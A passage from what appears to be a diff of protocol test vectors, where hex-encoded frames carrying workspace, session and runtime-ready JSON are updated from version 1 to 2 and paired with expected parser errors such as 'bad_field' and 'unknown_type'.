22726f6f742d3131222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3132222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3133222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3134222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3135222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303131222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303131222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032322c22746f6f6c556964223a32303032332c22776f726b7370616365476964223a32353032322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3130222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3131222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3132222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3133222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3134222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3135222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303132222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303132222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032342c22746f6f6c556964223a32303032352c22776f726b7370616365476964223a32353032342c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3130222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3131222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3132222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3133222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3134222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3135222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303133222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303133222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032362c22746f6f6c556964223a32303032372c22776f726b7370616365476964223a32353032362c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3130222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3131222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3132222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3133222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3134222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3135222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303134222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303134222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032382c22746f6f6c556964223a32303032392c22776f726b7370616365476964223a32353032382c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3130222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3131222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3132222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3133222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3134222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3135222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303135222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303135222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303033302c22746f6f6c556964223a32303033312c22776f726b7370616365476964223a32353033302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d30222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d31222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d32222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d33222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d34222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d35222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d36222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d37222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d38222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d39222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3130222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3130222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3131222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3131222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3132222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3132222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3133222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3133222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3134222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3134222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d3135222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6469726563746f72792d6e756d6265722d3135222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "oversize" }, { "name": "runtime-ready-zero-conversations", "direction": "up", - "hex": "574d58310101000001000000980000007b2276223a312c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a307d", + "hex": "574d58310101000001000000ab0000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a302c22636f6e74696e756174696f6e73223a5b5d7d", "error": "bad_field" }, { "name": "runtime-ready-seventeen-conversations", "direction": "up", - "hex": "574d58310101000001000000990000007b2276223a312c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a31377d", + "hex": "574d58310101000001000000ac0000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a31372c22636f6e74696e756174696f6e73223a5b5d7d", "error": "bad_field" }, { "name": "runtime-ready-travelling-down", "direction": "down", - "hex": "574d58310101000001000000980000007b2276223a312c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a317d", + "hex": "574d58310101000001000000ab0000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a312c22636f6e74696e756174696f6e73223a5b5d7d", "error": "unknown_type" }, { "name": "conversations-travelling-up", "direction": "up", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223